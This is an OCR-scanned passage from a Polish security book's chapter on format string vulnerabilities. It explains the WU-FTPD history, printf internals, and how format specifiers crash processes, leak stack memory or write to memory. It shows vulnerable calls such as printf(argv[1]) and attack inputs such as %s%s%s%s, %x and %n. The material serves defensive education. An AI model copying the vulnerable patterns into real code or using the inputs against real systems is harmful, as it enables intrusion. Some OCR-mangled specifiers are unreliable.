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DODAJIDO KOSZYKA Chcesz powstrzymac hakerow? Zostan jednym z nich.
Aby zabezpieczy¢ swoja sie€, sprobuj sie do niej wtamac.
v Zaktualizowane i rozszerzone wydanie bestsellerowej ksiazki, napisanej przez
CENNIK 1'INFORMACJE specjalistow od zabezpieczen i... wtaman do systeméw komputerowych. Jej autorzy

ZANGW INEORMACIE udowadniaja, ze nie mozna my$lec o zabezpieczeniach, jesli nie pozna sie najpierw
0 NOWOSCIACH el

» Podstawy bezpieczenstwa sieciowego. Zapoznasz sie ze wskazowkami

m dotyczacymi znajdowania luk w zabezpieczeniach istniejacych i projektowanych

systemow.

» Siedem podstawowych kategorii atakéw. Odmowa obstugi, wyciek informaciji,
dostep do systemu plikow, dezinformacja, dostep do plikdw specjalnych/baz
danych, zdalne uruchomienie kodu i rozszerzenie uprawnier.

e Rdznicowanie prewencyjne. Dowiesz sie, w jaki sposob porownywac pliki,
biblioteki i programy oraz jakie informacje mozna w ten sposob uzyskaé.

* Typowe algorytmy szyfrujace. Twoje zaszyfrowane dane i twoje zaszyfrowane
hasta — czy sa rzeczywiscie bezpieczne?

 Staby punkt: tancuchy formatujace. Jedna z najnowszych technik wtaman:
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* Bezpieczne tunele. Naucz sie tworzy¢ bezpieczne tunele stuzace do przesyfania
danych i rozpoznawac uzytkownika przy uzyciu OpenSSH.

e Zabezpiecz swoj sprzet. Hardware takze moze stanowi¢ staby punkt. Poznaj
techniki wkaman sprzetowych.
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wtaman do systemdw, technikach, ktére moga by¢ wykorzystane takze przeciwko
Tobie” — Kevin Mitnick.
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Rozdziat 9.

Ciggi formatujace

Wprowadzenie

Na poczatku lata 2000 roku §wiat bezpieczenstwa komputerowego zostat brutalnie
powiadomiony o istnieniu nowego typu luk w oprogramowaniu. Ta podklasa luk, znana
jako bledy ciqgow formatujqcych, zostala przedstawiona szerokiej publicznosci 23 czerw-
ca 2000 roku, wraz z przestaniem na liste dystrybucyjna Bugtraq exploita demona ustu-
gi FTP o nazwie WU-FTPD (Washington University FTP Daemon). Atak wykorzystu-
jacy opublikowany exploit umozliwiat zdalnemu wlamywaczowi uzyskanie dostgpu do
systemu w trybie administracyjnym na weztach obstugujacych demona WU-FTPD i to
z pominigciem jakiegokolwiek uwierzytelniania, o ile konfiguracja serwera dopuszczata
anonimowe transmisje FTP (co jest w przypadku wigkszosci systeméw opcja domysl-
na). Atak byt grozny, poniewaz serwery WU-FTPD byty powszechnie stosowanymi
serwerami FTP w Internecie.

Ale glowng przyczyna szoku $wiata komputerowego nie byla bynajmniej $wiadomos¢,
ze w Internecie dzialaly dziesiatki tysiecy weztéw podatnych na ataki umozliwiajace
uzyskanie dostgpu zdalnego i przejecie catkowitej kontroli nad systemem. Prawdziwym
powodem byla natura samej luki i jej powszechno$¢ w oprogramowaniu komputero-
wym dowolnego przeznaczenia. Swiat ujrzat wiec zupelnie nowa metode wykorzysty-
wania btedoéw programistycznych uwazanych wczesniej za mato znaczace. Zademon-
strowano, ze mozliwe sa ataki wykorzystujace btedy ciagow formatujacych.

Luka zwiazana z ciagiem formatujacym pojawia si¢ wowczas, gdy programista prze-
kazuje dane pobrane z zewnatrz do funkcji printf() jako parametr definiujacy postaé
ciagu formatujacego funkcji (lub jego fragmentu). W przypadku WU-FTPD parametr po-
lecenia SITE EXEC protokotu FTP byt przekazywany bezposrednio do funkcji printf().

Trudno bylo o lepszy zarys koncepcji ataku: atakujacy mogt natychmiast i automatycz-
nie pozyska¢ uprawnienia administracyjne na podatnych weztach.
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Wiesci z podziemia...

Btedy ciggow formatujacych kontra biedy przepemienia bufora

Z pozoru oba rodzaje btedéw sg bardzo podobne. Nietrudno wiec zaklasyfikowaé je
do tej samej kategorii luk w zabezpieczeniach. Cho¢ w obu przypadkach efektem ata-
ku moze by¢ nadpisanie wskaZnika funkcji i zmiana przeptywu sterowania programu,
problem ciggéw formatujgcych rézni sie od problemu przepetnienia bufora w sposéb
zasadniczy.

W przypadku luki wynikajacej z btedu przepetnienia bufora btad w oprogramowaniu
polega na tym, ze wrazliwa funkcja, taka jak kopiowanie blokéw pamieci, przyjmuje
rozmiar zewnetrznego, niekontrolowanego przez aplikacje Zrédta danych jako ograni-
czenie operacji kopiowania. Przyktadowo, wiekszo$¢ btedéw przepetnienia bufora
wynika z zastosowania funkcji bibliotecznej jezyka C kopiujacej ciggi znakowe. W je-
zyku C ciggi znakowe reprezentowane sg przez zmiennej dtugosci tablice bajtéow za-
konczone bajtem zerowym. Funkcja strcpy() (od ang. string copy) wchodzaca w sktad
biblioteki standardowej jezyka C kopiuje kolejne baijty ciggu Zrédtowego do wskazane-
go bufora docelowego; operacja kopiowania zatrzymywana jest w momencie napo-
tkania w ciggu Zrédtowym bajtu zerowego. Jezeli ciag ten jest podawany z zewnatrz
i ma dtugos¢ wieksza od rozmiaru bufora docelowego, funkcja strcpy() nadpisze
réwniez obszar pamieci sasiadujgcy z buforem docelowym — az do skopiowania
ostatniego bajtu ciggu Zrédtowego. Atak wykorzystujgcy przepetnienie bufora opiera
sie na mozliwosci nadpisania przez atakujgcego danych krytycznych dla dalszego
dziatania programu (przechowywanych w sagsiedztwie bufora docelowego) wtasnymi
danymi, przekazanymi do operacji kopiowania.

W przypadku bteddw ciggéw formatujgcych problem polega na tym, ze pobierane z ze-
wnatrz dane wtgczane sg do parametru definiujgcego cigg formatujgcy funkcji. Nalezy
to traktowaé jako btad walidacji danych wejsciowych, nie majacy nic wspdlnego z bte-
dami polegajgcymi na przekroczeniu rozmiaru bufora docelowego operacji kopiowania.
Hakerzy wykorzystujg btedy ciggéw formatujacych w celu zapisania okreSlonych war-
tosci w konkretnych obszarach pamieci. W przypadku atakéw przepetniajacych bufor
atakujacy nie moze dowolnie wybra¢ obszaru docelowego dla danych wejSciowych.

Innym Zrédtem nieporozumieni jest to, ze btedy ciggdw formatujgcych i btedy przepet-
nienia bufora moga wystepowaé réwnoczesnie, kiedy w programie wykorzystywana jest
funkcja sprintf(). Aby zrozumie¢ rd6znice pomiedzy tymi btedami, wazne jest uswia-
domienie sobie sposobu dziatania funkcji sprintf(). Funkcja ta umozliwia programi-
Scie utworzenie sformatowanego (na podobieristwo formatu ciggdw funkcji printf())
ciggu znakowego i umieszczenie go w buforze. Btad przepetnienia bufora wystepuje
woéwczas, gdy utworzony cigg jest dtuzszy od docelowego bufora. Jest to zwykle rezul-
tatem zastosowania w ciggu specyfikatora %s, ktéry powoduje umieszczenie w danym
miejscu konstruowanego ciggu innego ciggu znakowego, zakoriczonego bajtem zero-
wym. Jezeli zmienna wprowadzana w miejsce specyfikatora %s jest pobierana z zewnatrz
i nie jest obcinana do pewnego rozmiaru, moze spowodowac rozciggniecie tworzonego
ciggu tak, ze nie bedzie sie on miescit w buforze docelowym. Luki spowodowane
niewtasciwym zastosowaniem funkcji sprintf() wynikajg z czego innego — z inter-
pretowania danych pobieranych spoza aplikacji jako fragmentu ciggu formatujgcego.

Zanim exploit ujrzat swiatto dzienne, btedy zwiazane z ciagami formatujacymi uwazane
byty za co najwyzej zla aczkolwiek nieszkodliwg praktyke programistyczng — nie-
eleganckie uproszczenie wynikajace z po$piechu — stowem nic, co mogloby zagrazaé
bezpieczenstwu. Do tej pory btad tego rodzaju mogt w najgorszym razie spowodowaé
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zatamanie demona ushugi, rownoznaczne z atakiem odmowy obstugi. Swiatek ludzi zwia-
zanych z zabezpieczeniami dostal nauczke. Bledy te przyczynity si¢ do zaatakowania nie-
zliczonej liczby serwerow sieciowych.

Jak juz wspomniano, luki zwiazane z ciaggami formatujacymi zostaty ujawnione po raz
pierwszy w czerwcu 2000 roku. Exploit WU-FTPD zostat napisany przez osobnika zna-
nego pod pseudonimem tf8 i byt datowany 15 pazdzierika 1999. Przy zatozeniu, ze dzig-
ki temu exploitowi niektorzy hakerzy uswiadomili sobie role niepoprawnego wykorzysta-
nia ciaggdw formatujacych, mieli oni ponad 8 miesigcy na opracowanie i napisanie kodu
exploitdéw wymierzonych w inne oprogramowanie, niekoniecznie w serwery WU-FTPD.
To zreszta tylko ostrozne szacunki, oparte na zatozeniu, ze opublikowany exploit de-
mona WU-FTPD byt pierwszym tego rodzaju atakiem. Nie ma jednak na to zadnych
dowodow; komentarze, ktdrymi opatrzony byt exploit nie wskazywaty bynajmniej, aby
autor odkryt nowa metodg atakow.

Krétko po ujawnieniu stabosci wynikajacych z biednego stosowania ciagow forma-
tujacych pojawito si¢ kilka exploitow atakujacych innego typu aplikacje. W czasie pisa-
nia tej ksiazki opublikowano juz dziesiatki scenariuszy atakéw wykorzystujacych cia-
gi formatujace. Nalezy do tej liczby doda¢ nieznang liczbg atakdéw nieujawnionych.

Wedlug oficjalnej klasyfikacji btedy ciagéw formatujacych nie zastuguja na wydzielenie
dla nich osobnej kategorii i plasowane sa wsrod pozostalych bledow programistycznych,
takich jak bledy przepetnienia bufora czy hazard wykonania. Bledy ciagéw formatuja-
cych mozna zakwalifikowac¢ jako btedy walidacji danych wejsciowych; zasadniczo sa
one skutkiem nadmiernej wiary programistéw w poprawnos¢ danych pochodzacych spoza
aplikacji i przekazywania tych danych jako parametréw definiujacych ciag formatuja-
cy funkcji operujacej na ciagach znakowych.

W tym rozdziale Czytelnik zostanie wprowadzony w problematyke btedow ciagdéw
formatujacych, zapozna si¢ z ich przyczynami i pozna sposoby ich wykorzystania
przez wtamywaczy. W rozdziale zaprezentowane zostang konkretne luki tego rodzaju
wystepujace w rzeczywistych systemach; Czytelnik zapozna si¢ tez z procesem przy-
gotowywania i przeprowadzania ataku — wykorzystujacego ciag formatujacy — na
wezet zdalny.

Istota biedow ciggow formatujacych

Zrozumienie istoty btedow zwiazanych z ciagami formatujacymi wiaze si¢ z funkcja
printf() i sposobem jej dziatania.

Programisci systeméw komputerowych bardzo czgsto staja w obliczu koniecznosci
dynamicznego tworzenia ciagdw znakowych. Ciagi te moga zawiera¢ znakowa repre-
zentacje zmiennych réznego typu; liczba i typ wszystkich zmiennych reprezentowa-
nych ciagiem znakowym niekoniecznie musza by¢ znane programiscie na etapie
tworzenia kodu zrodlowego. Powszechna koniecznosé¢ dynamicznej i elastycznej kon-
strukcji ciagdw znakowych i koniecznosé stosowania procedur formatujacych w naturalny



290

Hack Proofing Your Network. Edycja polska

sposob zaowocowala opracowaniem rodziny funkcji printf(). Funkcje typu printf()
konstruujg i umieszczaja na wyjsciu ciagi znakowe formatowane dynamicznie, w fazie
wykonania programu. Funkcje te wchodza w sktad biblioteki standardowej jezyka C.
Podobne funkcje implementowane sg rowniez w innych jezykach (np. w jezyku Perl).

Funkcje z rodziny printf() pozwalaja programiscie na tworzenie ciagéw znakowych
na podstawie ciagu formatujacego i zmiennej liczby parametréw. Ciag formatujacy to
jakby szkielet przysztego ciagu, definiujacy jego podstawowa struktur¢ oraz rozmiesz-
czenie elementow leksykalnych; na podstawie tego ciagu i wartosci parametrow funkcja
printf() konstruuje ciag wynikowy. Elementy leksykalne ciagu formatujacego okre-
$lane sg rowniez mianem specyfikatorow formatujqcych. Oba pojecia beda stosowane
w dalszej cze$ci rozdziatu.

Narzedzia i putapki...

¢

Funkcje rodziny printf()

Oto lista standardowego zestawu funkcji z rodziny printf() zdefiniowanego w ramach
biblioteki standardowej jezyka C. Kazda z tych funkcji (niewtasciwie stosowana) moze
stac sie ofiarg ataku wykorzystujgcego btad ciggu formatujgcego.

printf() funkcja ta umozliwia konstrukcje sformatowanego ciggu znakowego
i jego zapis do standardowego strumienia wyjSciowego programu.

fprintf() funkcja ta umozliwia konstrukcje sformatowanego ciggu znakowego
i jego zapis do wskazanego strumienia plikowego (strumienia FILE w rozumieniu
biblioteki libc).

sprintf() funkcja ta umozliwia konstrukcje sformatowanego ciggu znakowego
i jego zapis do bufora utworzonego w pamieci programu. Niepoprawne stosowanie
tej funkcji prowadzi czesto do btedéw przepetnienia bufora.

snprintf() funkcja ta umozliwia konstrukcje sformatowanego ciggu znakowego
i zapis okreslonej jego czesSci do bufora utworzonego w pamieci programu.

W kontekScie btedéw przepetnienia bufora funkcje te mozna traktowaé jako
zabezpieczony odpowiednik funkcji sprintf().

Biblioteka standardowa C zawiera ponadto funkcje vprintf(), vfprintf(), vsprintf()
oraz vsnprintf(). Funkcje te spetniajg te same zadania co ich wyzej wymienione od-
powiedniki, réznigce sie od nich tym, ze przyjmuja na wejsScie wskaznik do listy pa-
rametrow (nie sg one przekazywane przez stos).

Zasada dziatania funkcji printf() moze zostaé zilustrowana prostym przyktadem:

int main()

{

}

int integer = 10;
printf("0to szkielet przyszlego ciagu, %i", integer);

W powyzszym przyktadowym kodzie programista wywoluje funkcje printf() z dwoma
parametrami: ciggiem formatujacym i zmienna, ktdrej znakowa reprezentacja ma zo-
sta¢ wstawiona do ciggu wynikowego konstruowanego przez printf().

"0Oto szkielet przyszlego ciagu, %i"
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Powyzszy ciag formatujacy sklada si¢ ze statycznej porcji tekstu i symbolu elementu
leksykalnego (%1), oznaczajacego miejsce wstawienia wartosci zmiennej. W prezento-
wanym przyktadzie w wyniku wywotania funkcji do wyswietlanego na ekranie ciagu
wynikowego w miejsce specyfikatora %1 wstawiona zostanie warto$¢ zmiennej integer
w formacie Base10.

Najlepsza ilustracja bedzie wydruk prezentujacy efekt wykonania przyktadowego pro-
gramu (pami¢tamy, ze zmienna integer ma warto$¢ 10):

[dma@victim server]$ ./format example
Oto szkielet przyszlego ciagu, 10

Poniewaz funkcja ,,nie wie” ile parametréw otrzyma, s one odczytywane ze stosu pro-
cesu w miar¢ postgpu przetwarzania ciggu formatujacego (czyli po napotkaniu kolej-
nego specyfikatora formatu), przy czym rozmiar pobieranej ze stosu wartosci uzalez-
niony jest od okreslanego specyfikatorem typu danych. W poprzednim przyktadzie
w ciagu formatujacym osadzony zostat pojedynczy element symbolizujacy zmienng ty-
pu catkowitego. Funkcja ,,spodziewa si¢”, ze drugim przekazanym do funkcji para-
metrem bedzie zmienna korespondujaca z elementem %i. W komputerach opartych na
architekturze Intel 0x86 (ale nie tylko) parametry wywotania funkcji wstawiane sa na
stos podczas tworzenia ramki stosu dla wywotywanej funkcji. Kiedy funkcja odwotuje
si¢ do parametréw wywotania, odwotuje si¢ do danych umieszczonych na stosie po-
nizej ramki stosu.

W poprzednim akapicie pojawit sie termin ponizej; ma on opisywac¢ lokalizacje da-

nych, ktére zostaty umieszczone na stosie przed umieszczeniem na nim danych,
o ktérych powiedzielibySmy, ze znajdujg sie powyzej. W procesorach Intel 0x86
stos rosnie w dot. Dlatego w tej i podobnych architekturach adres szczytu stosu
zmniejsza sie w miare jego rozbudowy. W takich architekturach dane lokalizowane
jako umieszczone ponizej innych danych bedg miaty wyzsze od nich adresy.

Fakt, ze numerycznie wyzsze adresy pamieci moga znajdowaé sie w nizszych par-
tiach stosu powoduje czeste nieporozumienia. Nalezy zapamietaé, ze pozycja na
stosie opisywana jako wyzsza od innej pozycji oznacza, ze dane, o ktérych mowa
znajduja sie blizej szczytu stosu, co nie przeszkadza im mie€ nizszych adresow.

W prezentowanym przyktadzie do funkcji printf() przekazany zostat parametr kore-
spondujacy z okreslonym w ciagu formatujacym elementem %i — parametr bedacy
liczbg catkowita. Znakowa dziesigtna reprezentacja tej liczby (10) zostata w ciagu wy-
nikowym wstawiona w miejsce tego elementu.

Konstruujac ciag wynikowy funkcja printf() pobierze z odpowiedniego obszaru stosu
warto$¢ typu catkowitego i potraktuje ja jako zmienna korespondujaca z elementem
zdefiniowanym w ciagu formatujacym. Nastgpnie funkcja printf() dokona konwersji
binarnej wartosci do postaci ciagu znakowego, ktérego format okreslany jest postacig
specyfikatora formatu; efekt konwersji zostanie wstawiony do sformatowanego ciagu
wyjsciowego. Jak za chwilg si¢ okaze, powyzsze kroki podejmowane sa niezaleznie od
tego, czy programista rzeczywiscie przekazat do funkcji drugi parametr wywotania. Jezeli
wywolanie nie zawierato parametréw odpowiadajacych elementom ciagu formatujace-
g0, jako parametry potraktowane zostana dane funkcji wywotujacej funkcje printf(),
poniewaz znajduja si¢ one w odpowiednich obszarach stosu.
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Wroémy do naszego przyktadu: zatozmy, ze w procesie rozwoju aplikacji podjeto de-
cyzje, ze na ekranie wyswietlany bedzie jedynie statyczny ciag znakowy, ale zapomnia-
no usuna¢ z ciagu formatujacego symbol specyfikatora formatu. Takie wywotanie funk-
cji printf() wygladatoby nastgpujaco:

printf("0to szkielet przyszlego ciagu, %i");

/* uwaga: brak parametru korespondujacego ze specyfikatorem %i */

Kiedy program zainicjuje wywotanie tej funkcji, nie bedzie ona ,,wiedzie¢”, ze lista
parametrow wywotania nie zawierala zmiennej odpowiadajacej elementowi %1i. Podczas
konstrukeji ciagu funkcja printf() odezyta liczbe catkowita z obszaru stosu, w ktorym
znajdowataby si¢ odpowiednia zmienna (gdyby programista ja przekazal) — pobierze
4 bajty lezace ponizej ramki stosu. Przy zatozeniu, ze menedzer pamigci wirtualnej do-
pusci wykonanie takiego odwotania, funkcja zostanie wykonana poprawnie, a przypad-
kowe 4 bajty znajdujace si¢ w odpowiednim obszarze pamigci zostana zinterpretowa-
ne i wyswietlone jako liczba catkowita.

Efekt ten jest pokazany na ponizszym wydruku:

[dma@victim server]$ ./format_example
Oto szkielet przyszlego ciagu, -1073742952

Pamietamy, ze zadna zmienna typu catkowitego nie zostata przekazana do wywotania
funkcji printf(); niemniej jednak w ciggu wynikowym znalazta si¢ wartos¢ catkowita.
Funkcja po prostu odczytata ze stosu 4 bajty tak, jakby zostaly one umieszczone na
stosie w ramach wywotania funkcji. W prezentowanym przyktadzie zdarzyto sig, ze te
4 bajty w pamigci reprezentowaty liczbe -1073742952, co jest dziesietng reprezenta-
cja liczby typu calkowitego ze znakiem.

Gdyby uzytkownik miat mozliwo$¢é wstawienia wlasnych danych do ciagu formatuja-
cego, mogtby wymusi¢ zmiang przebiegu wykonania funkcji printf() i zmusic¢ ja do
traktowania dowolnych informacji znajdujacych si¢ w obszarze pamigci stosu jako po-
prawnych zmiennych powiazanych ze specyfikatorami okreslonymi przez uzytkownika.

Jak widaé, zdolno$¢ uzytkownika zewnetrznego do kontrolowania przebiegu dziatania
funkcji printf() moze prowadzi¢ do zaistnienia pewnych potencjalnie groznych luk
w zabezpieczeniach. Jezeli istnieje program, ktory zawiera taki btad i zwrdci sforma-
towany (skonstruowany) ciag uzytkownikowi, atakujacy moga odczyta¢ potencjalnie
wrazliwe informacje przechowywane w pamigci programu. Mozliwe jest tez wykorzy-
stanie szkodliwego ciagu formatujacego do zapisania obszaréw pamigci programu, a to
za sprawa specyfikatora %n. Specyfikator n ma umozliwia¢ programistom pobranie liczby
znakow skonstruowanego dotychczas ciagu. Sposob, w jaki wlamywacze moga wyko-
rzystywaé do swoich celow ciagi formatujace zostanie szczegétowo omowiony przy
okazji samodzielnej implementacji ataku wykorzystujacego btad ciagu formatujacego.

Gdzie i dlaczego wystepuja biedy
ciggow formatujacych?

Luki zwiazane z ciaggami formatujacymi to wynik bledéw programistow, ktorzy umoz-
liwiaja przekazywanie jako parametréw formatujacych danych nie poddanych wcze-
$niejszej weryfikacji. Ponizej wymienione zostang niektore sposrod najpowszechniejszych
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btedow programistycznych owocujacych potencjalng lukg zwiazana z naduzyciem ciagu
formatujacego.

Pierwszym bltedem jest wywotanie funkcji printf() bez przekazania do niej ciagu for-
matujacego; podatne wywolanie zawiera wyltacznie ciag do wyswietlenia:

printf(argv[1]);

W powyzszym przyktadzie zamiast ciagu formatujacego do funkcji printf() przeka-
zywany jest od razu ,,drugi” parametr (czgsto jest to parametr przekazany w wierszu
polecen). Gdy teraz uzytkownik jako parametr wywotania programu poda ciag odpo-
wiadajacy specyfikatorowi formatu, zostanie on jako taki potraktowany przez funkcje
printf():

[dma@victim server]$ ./format example Z%i
-1073742952

Bledy tego rodzaju sa czg¢sto popetniane przez programistow niedoswiadczonych lub
nieobytych z funkcjami bibliotecznymi jezyka C. Czasem konstrukcje takie stosowa-
ne sa z lenistwa — nie wszystkim programistom chce si¢ przekazywac ciag formatu-
jacy zawierajacy wylacznie specyfikator %s. Powody tego rodzaju sg zreszta przyczy-
ng znacznej czesci wszystkich luk w zabezpieczeniach oprogramowania.

Powszechne jest tez definiowanie funkcji wykorzystujacych wewngtrznie wywotania
funkcji printf() (na przyktad w funkcjach rejestrujacych i informujacych o btgdach).
W procesie programowania aplikacji programista moze zapomnie¢, ze funkcja wyswie-
tlajaca komunikat o btedzie wywoluje funkcje printf() (lub inng funkcj¢ z tej rodziny)
przekazujac do niej otrzymane parametry w niezmienionej postaci. Takie przeoczenie
moze wyrobi¢ nawyk wywotywania funkcji raportujacej tak, jakby wyswietlata ona
pojedynczy ciag znakowy:

error_warn(errmesg);
Celem ataku symulowanego w dalszej czgsci rozdziatu beda wlasnie takie btedy.

Jedna z najwazniejszych przyczyn powszechnosci btedow ciagéw formatujacych w sys-
temach Unix jest niewlasciwe korzystanie z funkcji syslog(). Funkcja syslog() jest
interfejsem programistycznym systemowego demona rejestrujacego zdarzenia. Progra-
misci moga uzywacé funkcji syslog() do zapisywania w systemowych plikach dziennika
komunikatéw o réznego rodzaju btedach. Funkcja syslog() przyjmuje jako parametry
ciag formatujacy i zestaw parametréw korespondujacych z okreslonymi w tym ciagu
specyfikatorami formatu (pierwszym parametrem wywotania funkcji syslog() jest
priorytet wpisu). Wielu programistow korzystajacych z tej funkcji zapomina lub nie
wie o tym, ze powinni przekazywac¢ osobno ciag formatujacy i osobno dane umieszcza-
ne we wpisie pliku dziennika. Wiele luk zwigzanych z ciagami formatujacymi wynika
z nastepujacej konstrukcji kodu:

syslog(LOG_AUTH, errmsg);
Jezeli zmienna errmsg zawiera dane pobierane z zewnatrz (np. identyfikator uzytkowni-

ka, ktory spowodowat nieudang probe logowania do systemu), powyzsza sytuacja moze
zosta¢ w prosty sposob zamieniona w powazng luke.
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Jak wyeliminowacé te btedy?

Podobnie jak w przypadku wigkszos$ci innych luk wynikajacych z niewtasciwego ko-
dowania, najlepszym sposobem eliminacji luk ciagéw formatujacych jest zapobiega-
nie im. Programisci musza uswiadomié sobie, ze tego rodzaju bledy sa zagrozeniem
dla systemu, ochoczo urzeczywistnianym przez hakeréw. Niestety, globalna pobudka
i powszechna troska o kwestie bezpieczenstwa wydaja si¢ by¢ sprawa dos¢ odlegtej
przysztosci.

Administratorzy i uzytkownicy zatroskani o zabezpieczenie swoich systemow powin-
ni osiagnac rozsadny poziom bezpieczenstwa w wyniku wdrozenia poprawnej po-
lityki korzystania z systemu. Powinni na poczatek zadba¢ o usunigcie bitow setuid
z wszystkich zbednych programéw systemowych i zablokowanie wszystkich niepotrzeb-
nych ushug.

Mike Frantzen opublikowal rozwiazanie problemu ciggéow formatujacych, adresowane
do administratorow i programistow i blokujace mozliwo$¢ wykorzystania btedow cia-
gow formatujacych. Rozwiazanie to polega na przeliczaniu liczby parametrow przekazy-
wanych do funkcji printf() i poréwnywaniu jej z liczba specyfikatoréw formatu umiesz-
czonych w ciagu formatujacym. Zostato ono zaimplementowane pod nazwa FormatGuard
w projekcie Immunix, dystrybucji systemu Linux, ktorej gtéwna cecha ma by¢ bezpie-
czenstwo aplikacji.

Artykutl Mike’a Frantzena zostal zarchiwizowany na liscie dystrybucyjnej Bugtraq
pod adresem www.securityfocus.com/archive/1/72118. FormatGuard dostepny jest zas
pod adresem www.immunix.org/formatguard.html.

W jaki sposob ciagi formatujace
s3 wykorzystywane przez wtamywaczy?

Istnieja trzy podstawowe cele, ktére wlamywacz moze osiagnac¢ za pomoca btedu cia-
gu formatujacego. Po pierwsze, atakujacy moze spowodowaé btad dziatania procesu
w wyniku odwotania do niepoprawnego adresu. Moze to zaowocowac¢ odmowa obstugi.
Po drugie, atakujacy, jezeli udostepni si¢ mu sformatowany ciag wynikowy, moze od-
czyta¢ zawarto$¢ pamieci procesu. Po trzecie, moze sprowokowaé zapis do pamigci pro-
gramu, czego efektem moze by¢ wykonanie pewnego kodu.

Niszczenie i ochrona...

Przepehianie bufora za pomoca ciagu formatujacego

Pobierane od uzytkownikéw ciggi formatujagce moga by¢é wykorzystane do uprawdopo-
dobnienia sytuacji przepetnienia bufora. W niektérych sytuacjach funkcja sprintf()
moze skonstruowaé zbyt dtugi ciag (przepetniajgcy bufor), o ile przed przekazaniem
ciggu zZrédtowego montowanego w ciggu docelowym nie jest kontrolowana jego dtu-
gos€. Niekiedy taka kontrola dtugosci powoduje niemoznos¢ przekazania przez ata-
kujacego nadmiarowego ciggu formatujacego lub ciggu wstawianego zamiast specy-
fikatora %s.




Rozdziat 9. ¢ Ciagi formatujace 295

Jezeli dane pobierane przez uzytkownika sg osadzane w ciggu przekazywanym péz-
niej jako ciag formatujgcy funkcji sprintf(), rozmiar ciggu wynikowego moze zostac
zmieniony przez zastosowanie specyfikatorow wypetniajgcych. Przyktadowo, jezeli
wtamywacz ma mozliwos¢ witgczenia do ciggu formatujgcego dla funkcji sprintf()
specyfikatora %1001, cigg wynikowy skonstruowany przez te funkcje bedzie o okoto
100 bajtéw dtuzszy od zaktadanego przez programiste. Za pomoca wypetniajgcych spe-
cyfikatoréw formatu mozna konstruowaé ciggi na tyle dtugie, ze ich skopiowanie do
bufora spowoduje jego przepetnienie. Mozna w ten spos6b omingé ograniczenia diu-
gosci danych wejsciowych naktadane przez programiste i sprowokowaé wykonanie
w imieniu procesu-ofiary dowolnego kodu (patrz rozdziat 8.).

Ten spos6b wykorzystania ciggéw formatujgcych nie bedzie omawiany w niniejszym
rozdziale. Cho¢ angazuje on specyfikatory formatu do nadpisania pewnych obszaréw
pamieci, specyfikatory te powodujag jedynie wydtuzenie ciggu, ktérego kopiowanie do
bufora docelowego daje zwykte przepetnienie bufora. Ten rozdziat jest natomiast po-
Swiecony atakom przy uzyciu wytgcznie specyfikatoréw formatu, bez odwotywania sie
péZniej do innych technik wtamaniowych wykorzystujgcych btedy programistyczne,
takich jak ataki przepetnienia bufora. Opisana powyzej sytuacja moze natomiast zostaé
wykorzystana do przeprowadzenia ,czystego” ataku ciggu formatujgcego, ktérego re-
zultatem bedzie zapis do wybranego obszaru pamieci.

Odmowa obstugi

Najprostszym atakiem wykorzystujacym ciag formatujacy jest atak polegajacy na unie-
ruchomieniu atakowanego procesu przez sprowokowanie btednego odwotania do pamig-
ci, czyli typowy atak odmowy obstugi. Spowodowanie bledu wykonania programu za
posrednictwem ciagu formatujacego jest rzecza stosunkowo nieskomplikowana.

Oto6z niektore specyfikatory formatu wymagajg przekazania do funkcji jako wartosci
zmiennych korespondujacych poprawnych adreséw pamigci. Jednym z takich specyfi-
katorow jest #n, ktory zostanie przedyskutowany i wykorzystany w dalszej czesci roz-
dzialu. Innym tego rodzaju specyfikatorem jest specyfikator %s, wymagajacy przeka-
zania wskaznika do ciagu bajtowego zakonczonego bajtem zerowym. Jezeli wlamywacz
podstawi ztosliwie ciag formatujacy zawierajacy jeden z tych specyfikatorow a do funkcji
nie zostang przekazane istniejace adresy pamigci, proces zostanie zatrzymany w wyniku
proby odwotania si¢ do pamigci wskazywanej przez przypadkowe wartosci znajduja-
ce si¢ na stosie. Moze to spowodowac¢ odmowe obstugi, przy czym atak tego rodzaju
nie wymaga angazowania zadnych zaawansowanych srodkow.

W samej rzeczy, juz wczesniej — jeszcze zanim ogot zdat sobie sprawe z powagi za-
grozenia — wiadomo bylo o problemach powodowanych podawaniem specyficznych
ciagdw formatujacych. Bylo na przyktad powszechnie wiadomo, ze przekazanie ciggu
%s%s%s%s jako parametru jednego z polecen klienta IRC BitchX powoduje zatamanie te-
go programu. Jednak, wedhug informacji, ktére posiadam, az do opublikowania exploita
demona WU-FTPD nikt nie zdawat sobie sprawy, ze taki btad mozna ukierunkowac
i wykorzysta¢ do wtasnych celow.

Niewiele wigcej mozna napisa¢ o zatamywaniu proceséw za posrednictwem spreparo-
wanych ciagéw formatujacych. Istnieja za to duzo ciekawsze i bardziej przydatne meto-
dy wykorzystania tych ciagéw do wtamywania si¢ do systemow komputerowych.
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Odczyt zawartosci pamieci

Jezeli ciag wynikowy skonstruowany w funkcji printf() jest udostgpniany na zewnatrz,
atakujacy moze wykorzystaé odpowiednio spreparowany ciag formatujacy do odczyta-
nia zawartosci pewnego obszaru pamigci. Jest to powazny problem, mogacy prowadzié
do wyciekdéw wrazliwych informacji. Przykladowo, jezeli program przyjmuje od klien-
tow informacje uwierzytelniajace i nie zeruje tych obszaréw pamigci, w ktérych byly
one przechowywane bezposrednio po ich wykorzystaniu, bad ciagu formatujacego
moze przyczyni¢ si¢ do ich odczytania przez wtamywacza. Najprostszym sposobem,
jakim dysponuje w tej sytuacji wlamywacz, jest zmuszenie funkcji (za posrednictwem
ciagu formatujacego) do skonstruowania ciagu z nieistniejacych parametrow. Funkcja od-
czytuje wartosci wprowadzane do konstruowanego ciagu bezposrednio ze stosu. Przy-
ktadowo, kazde wystapienie specyfikatora %x w ciagu formatujacym bedzie zastepowa-
ne w ciagu wynikowym 4 bajtami pamieci stosu. Taki odczyt pamigci jest ograniczony
wytacznie do danych przechowywanych w obszarze pamigci stosu.

Mozliwe jest jednak rowniez odczytanie zawarto$ci dowolnego obszaru pamieci, a to za
sprawa specyfikatora %s. Jak juz wiemy, specyfikator ten zastepowany jest ciagiem bajtow
zakonczonym bajtem zerowym. Ciag ten jest przekazywany do funkcji printf() w po-
staci adresu pierwszego bajtu ciagu. Atakujacy moze wige odczyta¢ dowolny obszar pa-
mieci, gdy przekaze do funkcji printf() specyfikator %s (w ciagu formatujacym) oraz
adres interesujacego go obszaru. Adres, od ktdrego atakujacy chcialby rozpoczac odczyt
powinien zosta¢ umieszczony na stosie; bytoby to konieczne réwniez w przypadku ad-
resu korespondujacego ze specyfikatorem %n. Obecnos¢ w ciagu formatujacym specy-
